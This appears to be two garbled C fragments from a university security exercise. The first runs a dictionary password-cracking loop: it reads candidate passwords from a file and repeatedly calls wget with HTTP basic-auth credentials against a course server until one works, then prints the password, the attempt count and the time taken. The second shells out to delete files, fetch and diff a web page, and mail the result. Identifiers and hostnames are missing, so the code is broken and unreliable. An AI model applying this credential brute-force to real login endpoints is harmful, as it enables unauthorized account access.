#include "stdio.h"
#include "string.h"


#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
           fprintf(stderr, "Cannot open %s\n", "output_file");

tt=time(&(t));
not=0;	   
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
	
			strcpy(,str);
		        strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
			
			strcat(url," --http-user= --http-passwd=");
			strcat(url,); 
			
		    	num=system(url);
			not++;
			if (num==0)
			
			{
				printf("The actual password is :%s\n",);
				time(&(t));
				tt=t-tt;
				printf("The number of attempts  crack the passssword by dictionary method is :%d\n",not);
				printf("The time_var taken  find the password by dictionary method is :%d seconds\n",tt);
				exit(1);
				
			}
						
			else
			{
			strcpy(,"");
			}
	
		
}


}


}

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>

#define SUCCESS 0;

int ()
{	
	
	system("rm index.*");	
	system("wget --non-verbose http://www.cs.rmit.edu./students");
	system("sleep 10");
	system("wget --non-verbose http://www.cs.rmit.edu./students");		
	system("diff index.html index.html.1 >> output.txt");
	printf("Comparison stored in output.txt");
	system("mutt -a output.txt @cs.rmit.edu. ");
	
	return SUCCESS;
}
